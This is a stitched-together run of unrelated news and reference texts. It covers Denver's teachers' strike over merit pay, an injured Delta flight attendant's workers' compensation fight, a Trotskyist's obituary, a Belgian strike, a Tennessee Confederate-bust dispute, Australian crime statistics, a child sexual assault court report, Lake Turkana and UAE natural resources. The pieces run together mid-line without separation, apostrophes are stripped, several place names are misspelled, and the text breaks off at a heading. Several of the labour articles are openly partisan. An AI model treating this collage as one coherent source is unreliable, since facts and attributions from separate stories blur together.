The overriding intent of the scheme is to scapegoat teachers for educational problems that are the inevitable product of poverty, social inequality and decades of defunding public education. One in five children in Denver lives below the governments official poverty line and a third come from families where no parent has full-time, year-round employment. These figures underestimate the real scope of social suffering. According to Shift Research Lab, a family of four in Denver must make 3.4 times the federal poverty line to actually be self-sufficient.

By linking their compensation to conditions in the schools, the ProComp system makes teachers pay for the devastating fact that large numbers of their students are living in households that cannot pay for the basic necessities of life.

The origins of Denvers merit-based pay system can be traced back to the work of the National Commission on Teachers and Americas Future (NCTAF), headed by Democrat Jim Hunt (governor of North Carolina) and Linda Darling-Hammond. The latter served as an education advisor to Barack Obama and was considered for education secretary until Obama chose Arne Duncan, another proponent of corporate-backed school reform.

In 1996, the NCTAF published a report titled What Matters Most: Teaching for Americas Future, which advocated merit pay in the educational system. The agenda contained in this report was picked up by DPS, the DCTA and the Rose Community Foundation, which worked to institute a pilot ProComp program in Denver in 1999.

The pay-for-performance (PFP) model got a further boost in 2000 and 2003 from the right-wing scholar Edward Lazear, who would go on to serve as the chief economic adviser to George W. Bush from 2006 to 2009. On the basis of data showing that a pay-per-item compensation model (in other words, piece rate) at Safelite Autoglass had significantly increased worker output and profits, the Stanford University professor argued that teachers should be subject to a similar motivational pay system.

The efforts in Denver caught the attention of other big donors, such Eli Broad, a multibillionaire promoter of privatizing public schools. In 2005, a major campaign effort initiated by the DCTA and DPS, backed by the Democratic Party and financed by so-called "non-profits," steamrolled voters into supporting a tax measure to fund ProComp. The tax measure promised an additional $25 million for school financing as long as it was used to implement the merit pay system.

Entrepreneurial behavior within the unions and unprecedented labor-management collaboration were key to securing the groundbreaking initiative, according to the major book on ProComp, Pay-for-Performance Teacher Compensation, published in 2007.

In fighting against merit pay, low wages and the underfunding of schools, Denver teachers are in conflict with the trade unions and the Democratic Party. The DCTA has already made clear that it is merely requesting changes to the ProComp system, not its elimination. Similarly, the head of the National Education Association (NEA), Lily Eskelsen Garcia, declared that the biggest issue was the lack of clarity in the ProComp system, not the existence of merit pay itself. You are unique here in Denver because here you are saying, Can I just know what Im being paid? she told a crowd of striking teachers outside the Capitol building on Monday.

Denvers teachers strike is part of a broader struggle of educators throughout the United States and the world. Educators everywhere, and the students and communities they serve, are their allies, not the Democrats or trade union leaders of the DCTA, the NEA or the American Federation of Teachers. These forces have intervened systematically in strike after strike to isolate workers, shut down their struggle and force through concessions contracts. Only by taking the initiative in their own hands, through the formation of rank-and-file committees and linking up with educators and other workers across Colorado and beyond, can teachers mobilize the necessary support to wage this decisive battle.This article is the second in a three-part series. The first part was published on February 12. The final article will be published tomorrow.

Ill be candid, Ashley, an injured flight attendant, tells the World Socialist Web Site. Before my work injury, I would just play along with the company line. I thought that if you worked hard and did your job, bad things wouldnt happen to good people and you would be taken care of. But it wasnt true.

Ashley, whose name has been changed in this article to protect her from retaliation by Delta, has been permanently disabled for over two decades after suffering a spinal injury on the job.

Ashley is effectively bedridden because of the pain of her injury. Occasionally she feels healthy enough to leave the house on her own, but she has to walk with a cane. She has to pay friends and relatives to help her with basic housekeeping tasks and travel with her on errands. Im still working age. I feel like I should be able to do something, she says.

Ashly was recently healthy enough to travel. My therapist said this was important for my mental health. Travel used to bring me so much joy.

Since then, Delta and their third-party workers compensation administrators have worked hand in glove to deny her necessary medical treatment. As part of Deltas campaign to limit their own financial liability for Ashleys injury, they hired private investigators to spy on her. Ashley even discovered a GPS tracker that had been secretly installed in her car.

Its been [years] of torture. If they had followed my doctors recommendations from the start, I could have been back with a career.

Ashley originally injured her back in the 1990s while loading passenger luggage into an overhead bin. Even though she was disoriented and in pain, she says she convinced her co-workers to continue with the flight rather than returning to the gate for her to receive treatment, so as to avoid causing their high value customers to miss their connecting flights.

I took one for the team, she says. I cant regret my decision-making process. It was what it was. I wasnt in a lot of pain. But my doctor told me later that the reason for that was that when you are injured in a high-adrenaline situation, working against the clock like I was, you often dont have pain until the adrenaline subsides 24 to 48 hours later. I woke up later and I couldnt move. I was in agony.

Ashley was given 6 months leave and prescribed physical therapy and painkillers. However, her pain levels did not improve.

She says her workers comp adjuster tried to dissuade her from opting for expensive surgery. The adjuster said, If they want you to have a big operation and you dont want it, just tell me. I thought they were trying to help me, but I was extremely naive. I wasnt getting better, so I said I should just go back to work.

Ashley attempted to continue working through the pain while still receiving physical therapy. But the pain kept getting worse and physical therapy sessions over the course of the week seemed to aggravate it.

I saw an orthopedist who asked me, Can you go back to work? I said, not really, but I have bills to pay. When you ask them to send you back, they usually will. Thats just the way it is. Few will tell you, No, Im sorry, but youre injured.

One day, Ashley lost feeling in her legs towards the end of a shift. I was sitting in the plane and I thought my legs had fallen asleep, but then I realized I couldnt feel them. Ashley drove all the way home from the airport without being able to feel the gas pedal. That drive on the highway was one of the scariest moments of my life, she said.

Finally, her doctor told her that he could not in good conscience send her back to work until they addressed her injury.

Ashley had several surgeries to her back, but there were complications. Her insurance also did not want to approve her spinal fusion, which she eventually received.

In the late 1990s, Delta experienced financial problems and went into massive cost-cutting mode, as Ashley describes it. They started charging us for insurance. We took a pay cut. Then they started making money again around 2000 and we got small raises. We didnt make up the entire pay cut, but Delta gave us a little of what they took.

Then 9/11 hit, sending the airline industry into a protracted downturn. There were reorganizations on top of reorganizations, and Delta started subcontracting everything out. Employees took 40, 50 percent pay cuts. As for injured employees on workers comp, They wanted us all off of the books. Signed, sealed, gone.

In all of the confusion I had my health insurance canceled three times. I wouldnt find out until I tried to pay at the pharmacy or the doctor. And that still happens to others, because there are so many different small companies they outsource to that dont know what each other is doing.

With long-term disability, I was eligible for 70 percent of my pre-injury earnings. Except I wasnt getting checks. I would call payroll and they would tell me, Were not payroll anymore, weve outsourced it. Finally, I got a lump sum deposited to my bank account with no explanation, which sent the IRS into a frenzy.

I went without healthcare for 10 months at one point. I had Medicare at that point, but I had listed Delta as my primary and Medicare as my secondary insurer, so Medicare wouldnt pay unless they got a denial from Delta. But Delta wouldnt deny coverage because they had already canceled my health insurance. I had to take out a home equity payment loan and sell a lot of my things to get by.

At one point, Delta sent her to what they told her was a Qualified Medical Evaluation, a form of medical second-guessing to resolve a workers comp dispute, almost always in favor of the employer. They were asking me detailed questions about the injury. My mother was in the examining room with me and asked them, Why are you asking her to recall all of this from memory years after the fact, isnt this all in her record? They told us they didnt have my full medical record, only three reports. I found out later from my doctor that this was a lie, that a nurse had brought in all of my records.

The whole thing was a set-up, Ashley says. My mother told them, Why are you even doing a QME? Under state law she has the right to have an attorney present. At that point the nurse ran out of the room and a few minutes later she came back and said that this was actually an IME [which does not have the same protections].

The report said that nothing was wrong with me and that I was getting unnecessary surgery. It was outrageous. My doctor disputed it, but Delta stopped paying me my benefits. I had to hire a lawyer because I wasnt paid for 10 months. The Delta plan was, This is costing us too much, we need a way to cut her loose.

Deltas independent medical reviewers are often not even licensed doctors, as is common in US workers comp cases generally. Ashley says that another medical reviewer who denied a claim was an allergist from out of state, who had never even seen Ashley personally.

Nevertheless, Ashley fought back as hard as she could. They know your doctor doesnt have the time to fight through all of these appeals, Ashley says. I would do all of the footwork myself. I would read them my doctors report, gather studies and send to the doctor for use in his appeal Most doctors dont have the time to do this kind of stuff for each individual patient. You end up languishing with these denials till you do.

The workers compensation companys frustration with the mounting costs of Ashleys case boiled over in a crude verbal attack. My claims adjuster and I were having an argument about my treatment plan. When I called her back to apologize and ask what I could do to make up for it, she actually told me, Kill yourself. Do you understand how much youre costing us? It would make my life so much easier.

The shock of this exchange sent Ashley into a steep depression. I gave up. I couldnt get my mail. It is so stressful to advocate for myself and to write to insurance companies over the simplest things. An outsider might say, Theres something wrong with her. But when your body has been beaten down like this, and you just want your life and career back, and they say something like that. And not too long before I was a darling of the company, a model employee.

In contrast to Deltas attempts to portray Ashley as malingering or exaggerating her injuries, Ashley says she wants nothing more than to be able to work again. When a doctor told her that she was totally and permanently disabled, I actually got angry with him, she says. I said, Thats not possible, you cannot tell me that I can never work again.

But Delta doesnt want to pay for someone to be disabled for life. I think thats why they tried to send me to a QME without a lawyer, and then said that there was nothing wrong with me and I didnt need surgery.

In order to prove their case against Ashley, Delta hired private investigators to spy on her, a common practice in workers comp cases. My roommate was interrogated by this strange guy about me. He claimed he was looking at property across the street, but then asked all of these questions about me. But he was caught off guard when she actually called me to the door to speak to him.

There were cars parked down at the end of my block for days at a time, she adds. I would leave the house only to do some errands and they would start following me. One time I pulled a maneuver to try and ditch this car.

Her next door neighbor also got a knock on the door from someone asking for their permission to set up a camera in their window overlooking her apartment. Private investigators even began tracking her roommates whereabouts, apparently confusing her for Ashley.

One time, Ashley sent her car to the dealership for routine service. They took it back to me, had me sign everything, and in the middle of this, the guy asks me, Hey, you wouldnt happen to have a boyfriend or a husband who isnt too happy with you? One of the guys handed me a GPS tracker that they found in your car while it was on the rack.

Ashley immediately went to her lawyer. He told me, You arent the first one. I asked him, Dont they have to get a warrant or something? He said that only police have to get a warrant, not private citizens.

Ashley decided to contact the World Socialist Web Site with her story after reading an article we published last December about an injured Amazon worker who had also been spied on and harassed by private investigators.

When I read that article, it brought back such frightening memories of that period in time that I had to close my tablet, because it triggered a panic attack. I was initially hesitant to speak to you because of fear of winding up back on their radar and having the stress and paranoia of knowing they are out there, weighing on my every decision, and being afraid of leaving the house for fear of being photographed. She adds, Im always looking over my shoulders now.

Ashley adds that she hopes that social media and people like her speaking out will help raise consciousness among workers about the reality of workers compensation. Delta does a good job of isolating themselves, putting [the claims administrators] between you and them, but with social media theres no way for people not to know.

Social media, I hope, is bringing people together. And hopefully it will help bring underreported stories like this to attention.

To be continuedDaniel Freeman, a founding member of the US Workers League and lifelong supporter of the International Committee of the Fourth International, died in New York City on February 5. He was 84 years old.

Danny, as he was known to family, friends and comrades, was born in Brooklyn on July 3, 1934, and brought up in the Bronx, where his family moved when he was still a toddler. Except for a few years in Seattle in the early 1960s, he was a lifelong New Yorker.

Introduced to the ideas of Marxism while he was a student at Columbia University, Danny joined the Socialist Workers Party, which was at that time the Trotskyist movement in the United States, allied with the International Committee of the Fourth International. When the SWP abandoned Trotskyism, Danny defended the continuity of the revolutionary movement with the formation of the Workers League. Though he withdrew from active participation as a member of the WL (the predecessor organization of the Socialist Equality Party) in late 1972, he remained politically supportive.

Under the impact of the post-WWII economic boom and the ideological pressures it brought to bear on those fighting for a revolutionary perspective, the SWP was moving sharply to the right just as Danny joined. This party, founded with the assistance of Trotsky, had played the key role in the formation of the ICFI in 1953, when James P. Cannon wrote the historic Open Letter to the World Trotskyist movement, opposing the liquidationist faction led by Michel Pablo and Ernest Mandel. By the late 1950s, however, the SWP was proposing to reunify with the Pabloites.

The next few years were critical, and Danny played an important role during this period. I also joined the Trotskyists, meeting Danny Freeman in early 1958. Several years later, we both joined the minority faction in the SWP, led by Tim Wohlforth, which opposed the SWPs reunification with the Pabloites and its break with the International Committee in 1963.

We remained in the SWP with the intention of fighting for the program of the ICFI. However, in 1964, the nine pro-IC members, including Danny, were expelled from the party for demanding an open discussion on the entry of the Pabloite Lanka Sama Samaja Party into a bourgeois coalition government in Sri Lanka.

Wohlforth and the others who were expelled founded the American Committee of the Fourth International (ACFI), and began publishing the mimeographed fortnightly Bulletin of International Socialism.

The ACFI was invited, as a sympathizing section of the IC, to its Third Congress, held in London in April 1966. Danny was one of three ACFI delegates to that Congress.

In November 1966, the members of the American Committee for the Fourth International founded the Workers League. Danny was among its founding members, alongside Wohlforth, this writer, and veteran Trotskyists Bill and Jean Brust.

The Workers League launched the printed Bulletin newspaper, and turned to the growing struggles of the working class.

The WL intervened in militant strike struggles, as well as in the antiwar movement and the struggle against poverty and the heritage of Jim Crow discrimination. Danny became the labor editor of the Bulletin. Writing under the name Dan Fried, he authored numerous articles and two important pamphlets on labor struggles, Steel: Lessons of the Past, Program for Today, and Showdown on the Docks. He was well known, in the Newark, New Jersey branch and elsewhere, for his ability to draw upon the lessons of the history of the international working class.

The early 1970s saw the winding down of the middle class antiwar protest movement, the collapse of the mass civil rights movement, and the betrayal of the strike wave that crested in 1970-71. The sharp change in the political situation required a deepening of the theoretical and political struggle against Pabloite revisionism, which had played a major role in petty-bourgeois radical politics. Instead, Wohlforthwho was himself disoriented by the break-up of the mass petty-bourgeois protest movementsought to evade political problems by resorting to frenetic activism. His political conduct and behavior toward members became increasingly arbitrary, disrespectful and even contemptuous.

Danny Freeman, a very sensitive person, found it difficult to function in the environment created by Wohlforths erratic behavior. He left the Workers League in December 1972, but he remained sympathetic and in touch with former comrades. When Tim Wohlforth resigned from the party and immediately rejoined the SWP, denouncing his whole political past, Danny resolutely defended the Workers League and the International Committee.

Dannys loyalty was first and foremost to Trotskyist principles and program. When he became aware of the ICFI majoritys break with the Workers Revolutionary Party in 1985-86, Danny studied the documents written by David North and informed the Workers League of his agreement and solidarity with the IC majority.

Over the following 33 years Danny maintained close relations with the movement. He was especially encouraged by the development of the World Socialist Web Site, and followed its work and expansion over the past 20 years.

Danny returned to school in the 1980s, obtaining a law degree and practicing for a number of years, focusing on civil rights and police brutality cases. He went on to become an Administrative Law Judge in New York Citys Parking Violations Bureau, where he worked for more than a decadeand where he ran into difficulties with his supervisors, because he insisted on treating fairly the motorists who appeared before him to appeal fines for parking tickets.

Danny was also a devoted chorister, and sang in the amateur St. Cecilia Chorus in New York for more than three decades.

In the most recent period, Danny continued to read the WSWS every day as long as his health permitted. He continued to support the SEP financially, came to most public meetings, as well as to several larger SEP conferences. He also commented prolifically on articles on the WSWS. In more than 200 contributions of this kind, he fiercely defended the basic principles of Marxism.

Danny is survived by his wife, Marilyn Crockett, his sister Lucy and niece Cathy, as well as his stepson Jeff and stepdaughter Pam. The many members and supporters of the SEP who met Danny over the years, as well as workers and youth joining the ranks of the Trotskyist movement today and in the future, will honor his contributions in the struggle for socialism.Teachers in Denver, Colorado are continuing their strike over merit pay and the chronic underfunding of the school system by city and state Democratic Party officials. There is broad support among students and parents for the strike, with many students walking out of school to join the picket lines and protests by their teachers.

As the hundreds of teachers marched the mile to Civic Center Park, near the State Capitol Building, cars honked, and people came out of the neighborhoods and stores to support them. Teachers and students spoke to the World Socialist Web Site about the pay-for-performance ProComp scheme that ties teachers compensation to standardized test scores and other measurements largely determined by poverty, school defunding and other social ills, which teachers have no control over. In addition to scapegoating teachers for these conditions, the arbitrary character of the merit pay system has left teachers unsure of their actual income from month-to-month.

Ive been working for DPS (Denver Public Schools) for 12 years and Ive been a teacher for 21 years, but I honestly have no idea how much money I make, Ryan Short, a teacher at East High School, told the WSWS Teacher Newsletter. It varies every year and, yes, every month. Its ProComp and the different bonuses that come and go. One year a bonus might be worth something, the next year it is worth nothing.

We want salaries to be equitable for all teachers. We are asking for a transparent salary scale, higher base pay and incentive bonuses. We want it to be fair and predictable for all teachers. We all work hard. As a special education teacher, theres no reason I should be paid an extra $2,500 a year above the science teacher next to me. The money is not why I do what I do. We should raise the wages for everybody and make it fair for everybody, then turnover will be less, and student success will increase.

I am married to a professional, we do OK, but Im out here fighting for all the people I work with. Without a doubt, Ive had friends come and go out of the profession just because they cant afford it.

Theres a movement across the country to honor teachers and pay them a professional wage. If you just pay people a fair base salary where they dont have to worry about money, it will increase productivity and creativity.

Asked what the low pay for teachers means for students educations, Ryan said: When a teacher rushes out of the building at 3:15 to get to their second job and works to 9:30 or 10 at night, yes, students suffer. When teachers are working 18-hour days, it definitely affects students.

Abbey Ashby, a third-year math teacher in her first year at DPS, said, Im striking because the bonuses we receive disrupt our classrooms. I work in a high priority [high poverty] classroom so despite the incentives, our middle school students only kept two of their teachers last year. My eighth grade students had so many math teachers last year.

Since the incentives are unreliable, many teachers have taken significant pay cuts from year to year. Some teachers tell me they make less now than two years ago.

I have no idea what my paycheck will be. This is my first year and every time I get it, I am completely confused. I dont know if Im getting all the right money for incentives.

I live in 800-square feet with three adults, thats what we can afford. I make about $42,000 a year. I rent because I could never afford a house or be approved for a loan. If I were to apply for a mortgage, incentives would not be considered to qualify for a mortgage.

Were not eating great, were eating the same couple of things every day. Its okay, my partner is on food stamps, so that helps. As I told my students, from month to month I have to choose between buying snacks or school supplies for them in the classroom, or things for myself, like hygiene products. Id like to be able to afford both things for my students and for myself.

Another educator Jennifer, said: Every year is different, as to what my bonus is going to be, or even when were going to be paid for the bonuses. One year the bonus was only paid in December. I can afford to live in Denver only because my parents help me.

Asked about the role of the Democrats in supporting accountability schemes like ProComp, Jennifer said: I think the Democratic Party is just as much a party of the establishment as any other. I was a Democrat for a month to caucus for Bernie. I left when they screwed him over. Im independent now, probably for life. If the Democrats dont become more progressive, theyre going to die, just like the Republicans are.

Another teacher, Joe Walden, told the WSWS: We have been working on this for years in terms of ProComp. One of our messages is that incentives dont work. We need a good starting salary and a reasonable plan to build that salary over the course of our careers. A sticking point is the role of professional development; the administration makes it an impossible hoop to jump through.

We have a general idea of how much money we make each month, but we dont know what is going to be incentivized each year. This year we got one for growth in test scores; we received $1,000. Last year, it was close to $2,400. Its announced about three weeks before you get it.

We all love our children, we love our students. Paying us more bonuses doesnt make us work harder. We believe in the future and want to have an impact on that future.

Two George Washington High School students, Rebekah Wilson and Cathryn Seaman, also spoke with the WSWS. Rebekah said: Im out here because the teachers in DPS have done so much for me. They helped me bring my GPA up from 1.7 to 4.9. That wouldnt have been possible without the amazing teachers in my life.

I have one teacher with four to five kids at home, and yet hes always at the school. They deserve more pay. They have families themselves and shouldnt be struggling to have food on the table. One of my teachers husband had no pay because of the government shutdown too.

Cathryn Seaman, added, My teachers work really hard. They are always there to support us. They do a lot of work outside the classroom and shouldnt have to work second jobs. They work every day to make sure we are learning, are safe and comfortable in school. They deserve to get decent wages.Tens of thousands of workers are slated to take strike action in Belgium today, amid mounting anger at low wages enforced by state-run talks involving business groups and the trade unions. The strike, called for workers in both the public and private sectors, is part of a broad, international upsurge of strikes and workers protests taking place across Europe and internationally.

Strike action in Belgium began at 10 p.m. last night. In the run-up to the strike, the press announced that the national tram and bus network would be completely or almost completely stopped. In line with a legal minimum, half the regular number of trains are scheduled to run.

Both Antwerp Port and the Port of Ghent expect to be heavily impacted by the strike.

Large numbers of public school teachers are expected to strike, even though the education unions have refused to issue official notice of strike action. Rubbish collection is reported to be cancelled, as are parts of the postal service. Administrative employees in hospitals and fire brigades are also striking.

Skeyes, the national air traffic control agency, announced yesterday that it would not authorize air traffic between 10 p.m. Tuesday and 10 p.m. Wednesday because there is no certitude as to the number of employees to occupy a limited number of crucial posts. Brussels South Charleroi airport is to be closed. TUI Fly airlines has announced it will be forced to divert all flights to nearby international airports in France, Germany and the Netherlands.

The mounting anger against low wages and poor working conditions in Belgium comes amid growing opposition in the working class internationally after more than 10 years of intensified attacks on wages, jobs and social conditions.

In Berlin, approximately 70,000 teachers, child care and social workers and other public sector employees are expected to take part in a one-day strike today. In Rome, local media reported that up to 200,000 people participated in a demonstration on Saturday, reflecting broad anger over unemployment and austerity cuts enforced by the European Union and the Italian government.

Across the border in France, tens of thousands of workers have taken part in weekly Yellow Vest protests since November against President Macrons austerity policies and growing social inequality. They have recently been joined by Red Pen teachers opposing attacks on public education.

Meanwhile the strike by auto parts workers in Matamoros, Mexico, is expanding along the US border, while teachers strikes are taking place in the United States and in multiple countries across Africa.

The working class has overwhelming social power when it acts collectively. However, the organizers of the Belgian strikethe three national trade union federationshave not called the action to mobilize the strength of the working class against wage and social cuts. Rather, they are seeking to maintain control over the deep anger in the working class and let off steam through the limited one-day action, in order to allow the governments attacks to proceed.

The unions felt compelled to call the strike action in January, after negotiations between the unions and employer associations broke down over the 20192020 national wage increases.

Under the reactionary and pro-business system set up by all the major Belgian parties and trade unions in 1996, national wage rises are capped at a level set by the National Economic Council. The latter publishes a calculation of what wage rises are acceptable in order not to lose competitiveness with Belgiums neighborsexplicitly, France and Germany. In December, the council set a maximum of 0.8 percent, while the unions claim they want an increase of 1.5 percent.

The unions fully support the nationalist and anti-working-class framework of reducing workers wages in a race to the bottom with their brothers and sisters in France, Germany and internationally. They have permanent seats on the employer-union Group of 10 which decides on what limit to place on wage increases.

The fact that they have been forced to call todays strike is an expression of their acute consciousness of the growing opposition in the working class, which they are seeking to prevent from emerging independently and outside of their control and from linking up with workers internationallywhich is the only basis upon which a successful struggle can be waged.

Indicative of the impact of the rising cost of living and inequality, a retiree who participated in yellow vest protests last month in Brussels told RTBF news that he received 1,350 euros a month from his pension. I get it on the 23rd of every month. Its now the 8th and after Ive paid insurance, rent, energy and billswhich cost 150 eurosI only have 200 euros left for living expenses.

A number of wildcat strikes have been undertaken in the past year by rail workers, including one last June in Welkenraedt. At the time, union official Laurent Brock told RTBF that the strike could spread but its very difficult to say This could take place anywhere, at any moment. The drivers are not happy at all.

Inequality has been further exacerbated by brutal austerity measures imposed by the right-wing Belgian government headed by Charles Michel in 20162017, continuing the attacks by his Socialist Party predecessor Elio Di Rupo.

The Michel governments measures included ending the 38-hour standard work week, by changing the method of counting hours worked from a fortnightly to a yearly total; and cutting the maximum possible wage increase that can be negotiated each year. The government has also tied pensions more directly to the number of hours worked in a lifetime, in order to prepare the way for raising the retirement age from 65 to 67.

These cuts have proceeded with the complicity of the trade unions. They have previously called national one-day strikes like todays strike in response to social cuts, including in 2011 and 2014, but afterwards they promptly continued in planning and negotiating the cuts with the government.

While the opposition Socialist Party has declared its support for todays strike, it carried out similarly brutal austerity measures when it was in office under Di Rupo from 20112014. Di Rupo demanded the raising of the retirement age, noting that when Belgiums pension system was established in the 20th century, the life expectancy was only 62 years old. Every year the life expectancy rises by two months, he complained.

In Belgium as in every country, the critical question facing workers in struggle is to take the struggle out of the hands of the unions. Workers need independent rank-and-file committees to wage their struggles and unify them with similar strikes and protests waged by their class brothers and sisters in other countries.The movement to remove a bust from the Tennessee State Capitol is growing.

On Tuesday veterans were out trying to get the bust of Confederate Gen. Nathan Bedford Forrest removed.

The Veterans of Peace showed up at the Capitol with a petition in hand demanding the statue be removed.

Theres a variety of statues there, and his is the only one roped off, said veteran Jim Wohlgemuth. Why? Because they know it is abhorrent to the public and they have to keep people away.

The group met the with the Minority Council and was hoping to talk to Senate leadership and the governor before the days end.

So far, Gov. Bill Lee has sided with keeping the statue.

"I think that we would be mistaken to erase history, even the parts of it that were not proud of. What we really need to do is provide context and add to, so that theres a greater understanding of our history, both that which we're proud of and that which were not," Lee said.

Former Gov. Bill Haslam tried to remove the statue in 2017, but the effort failed.

Just two weeks ago a group of students protested at the Capitol and sent the governor a letter demanding the removal.

Meanwhile the governor spend the day in Memphis where the FedEx facility is moving buildings.

One of the issues he addressed is the big push to legalize medical marijuana.

Id have to look at the particular bill, said Lee. Ive said that I generally believe that we ought to be looking at alternative treatments other than cannabis.

Lee took a similar stance in debates before he won office.

Any legislation legalizing marijuana would require his signature.CANBERRA, Feb. 13 (Xinhua) -- Australians are significantly less likely to be assaulted or robbed than they were a decade ago, data has revealed.

The Australian Bureau of Statistics (ABS) on Wednesday released its annual Crime Victimisation survey (CVS) for 2017-18, revealing that 5 percent of Australians aged 15 years and over experienced a personal crime in the reference period.

"Results from the 10th annual Crime Victimisation Survey showed a national decrease of 23 percent for physical assault, 33 percent for threatened assault, and 50 percent for robbery over the last decade, although the rate of sexual assault has remained steady," William Milne from the ABS' National Centre for Crime and Justice Statistics said in a media release.

Overall 472,500 Australians were physically assaulted in 2017-18.

Women were slightly more likely than men to have experienced physical assault in the reference period. In reported cases of physical assault experienced by women 71 percent of the perpetrators were men compared to 84 percent where the victim was male.

Females knew their attacker in 73 percent of cases compared to just 44 percent of male victims. The figures indicate that domestic violence remains a major health and welfare issue in Australia.

The Australian Institute of Health and Welfare revealed in February 2018 that one woman a week and one man every month is killed by a current or former partner in Australia.

According to the ABS, 46 percent of women were attacked at home in 2017-18 while men were most commonly assaulted at work.

More than half of physical assault victims aged 18 and over believed that alcohol or another substance was a contributing factor.

"The survey showed that the proportion of adults who believed that alcohol or any other substance contributed to their most recent incident of physical assault fell from 64 percent in 2010-11 to 55 percent in 2017-18," Milne said.

[ Editor: WPY ]Multimedia Producer

Kara is an Emmy Award-winning digital producer. She is a Cincinnati native and an alumna of the University of South Carolina. She previously worked at WRDW-TV in Augusta, Ga., before moving to Nashville five years ago to work at WSMV-TV.Bond has been set at $750,000 cash for Mario Santos, 43, accused of two counts of First Degree Sexual Assault involving children.

Santos was in Douglas County Court Wednesday morning.

Prosecutors say the assaults date back as far as January 2016. The allegations were not reported until one of the victims recently told his mother about the incidents when she questioned him about changes in his behavior.

Police were notified. Officers were told of the allegations by the 10-year-old.

In court on Wednesday, the prosecutor told the judge, For lack of a better term, your honor, it was described as a witch doctor. He was leading the children to believe he was casting spirits on them and their family. He was conducting rituals where he was burning candles on or near the children. One of the children described being whipped and had injuries consistent with that.

Both victims disclosed sexual assaults and identified Santos as the man responsible.

Each of the two charges against Santos could carry a potential sentence of 20 years to life upon conviction.

A preliminary hearing has been scheduled for March 15th.Lake Turkana is a 2,473 square mile lake in Africa, primarily situated in northern Keyna's Great Rift Valley, with a small section located within southern Ethiopia. The lake is the largest alkaline lake in the world, as well as the largest permanent lake situated in a desert. Lake Turkana is also ranked as the fourth largest saltwater lake in the world in terms of volume. The water of Lake Turkana originates primarily from three rivers: the Omo River, which flows in Ethiopia; and the Kerio and Turkwel rivers, that flow in Kenya.

Inflows of Lake Turkana

Omo River

The most important river that drains into Lake Turkana is the Omo River, which flows entirely within Ethiopia's borders. In fact, the Omo River supplies nearly 90% of the water in Lake Turkana. The river begins within the Ethiopian Highlands and flows for approximately 400 miles before draining into Lake Turkana. The most important tributaries of the Omo are the Gibe River, which is its largest tributary, and the Wabe River. The Omo and Gibe are sometimes considered to be the same river due to the similarity in their size and course. In 2006, the Ethiopian government began constructing the Gilgel Gibe III Dam along the Omo River as part of a hydroelectric power project. The construction of the dam was controversial, particularly among Kenyans, because several hydrological studies suggested that the dam would reduce the amount of water flowing into Lake Turkana. Additionally, it was estimated that the lake's water level would decrease by almost 32 feet, and would impact nearly 300,000 individuals by increasing the salinity of the lake. Experts also believe that the increase in salinity would reduce the amount of fish in the lake.

Turkwel River

The Turkwel River is another significant source of water for Lake Turkana. Flowing entirely within Kenya's borders, the Turkwel begins in Mount Elgon and flows for roughly 211 miles before draining into Lake Turkana. In 1986, the Kenyan government, with assistance from France, began constructing the Turkwel Dam along the river as part of a hydroelectric power project. Completed in 1991, the dam is also used to supply water for irrigation.

Kerio River

The Kerio River, which begins in Kenya's Amasya Hills and drains into Lake Turkana, has a length of 217 miles. The Kerio and Turkwel rivers supply most of the water that flows into Lake Turkana within Kenya's borders. The Kerio River has two main tributaries, the Embobut River and the Arror River, both of which flow along the Elgeyo Escarpment.

Outflows of Lake Turkana

Since no rivers flow out of Lake Turkana, its primary outflow is evaporation. The lake loses approximately 7.5 feet of water each year through evaporation.

Ecological Significance of Lake Turkana

Lake Turkana is of great ecological significance since it is home to a wide array of animals, including roughly 50 species of fish, 12 of which are endemic. The lake also has a significant population of turtles. For example, the Turkana mud turtle is endemic to the lake.The United Arab Emirates is a Western Asian country situated at the southern end of the Arabian Peninsula. It is bordered by Oman and Saudi Arabia and shares a maritime border with Iran and Qatar. Abu Dhabi is the largest emirate, accounting for 87% of UAEs total land area while Ajman is the smallest, covering only 259 square kilometers. As of 2013, the country has a population of approximately 9.2 million people of which the majority (7.8 million) are expatriates. The United Arabs Emirates has the second-largest economy in the Middle East after Saudi Arabia with a GDP totaling US$ 403 billion. Although the Emirates has one of the most diversified economies in the GCC, its economy is highly dependent on petroleum and natural gas which are its two primary natural resources. Over 90% of these natural resources come from Abu Dhabi. Approximately 85% of the economy of the UAE is based on oil export. The country also has freshwater resources. However, freshwater resources are extremely limited and have been exploited over the years. The Emirates is also increasing generating solar energy as an alternative to fossil fuel and hydropower. In addition to oil, natural gas, and solar resources, the UAE has deposits of sand and rocks which are mainly used for construction. Limestone, Marl, sand, and gypsum are used in the manufacturing of cement.

Major Natural Resources

Petroleum (Oil)

Compared to the global average, the UAE has a considerable amount of energy reserves. It is the 7th largest crude oil producer in the world and the 4th largest producer of petroleum liquid in the OPEC. According to the Government of the United Arabs Emirates, there are approximately 99 billion barrels of oil reserves in the country, almost as big as what Kuwait claims to have. Of the Emirates, Abu Dhabi has the highest reserve at 92 billion barrels or 90% of the total reserves while Dubai has only 4 billion barrels and Sharjah has 1.5 billion barrels. The country produces 2.9 million barrels of crude oil per day but has an intention of increasing the production to 5 million barrels per day by 2020, which it aims to maintain until 2027. Since proven reserves are estimated to remain relatively constant, increased production will mainly rely on enhanced oil recovery practices. The Emirates reserve-to-production is estimated to be about 18 years.

The petroleum related policies in the Abu Dhabi are established by the Supreme Petroleum Council. SPC is one of the key players in the UAEs oil industry and the wider economy. Other players include the Abu Dhabi National Oil Company. The country has an advanced domestic pipeline network linking producing oil fields with the processing plants and export terminals. The 230-mile Abu Dhabi Crude Oil Pipeline links the rich oil fields in Habshan to Fujairah.

Natural Gas

The UAE is an important country with regard to natural gas due to the large proven reserves and consumption. It has a substantial 6 trillion cubic meters of proven natural gas, with Abu Dhabi again holding the largest reserve (94%) with Sharjah holding 4% while Dubai and Ras al-Khaimah holding 1.5% and 0.5% respectively. This level of natural gas reserve gave the country the 4th largest in the Middle East and the 7th largest in the world. The production of natural gas has been growing over the recent years and the country currently produce 4.6 billion cubic feet per day, making it the 17th largest producer in the world. The UAE has the potential to produce even more gas, but the production is generally low because the majority of its natural gas contain high sulfur. The high sulfur makes the development and processing of natural gas technically difficult and economically challenging.

The Emirates is also a significant consumer of natural gas. In 2014, the country consumed about 69 billion cubic meters of natural gas, making them the worlds 9th largest natural gas consumer. It is the countrys primary source of energy, accounting for 60% of the UAEs primary energy consumption. Natural gas is also used in the generation of electricity and desalination of water. Even with the massive reserves, the UAE still import natural gas to meet the demand. It is a major importer of pipeline natural gas.

Arable Land

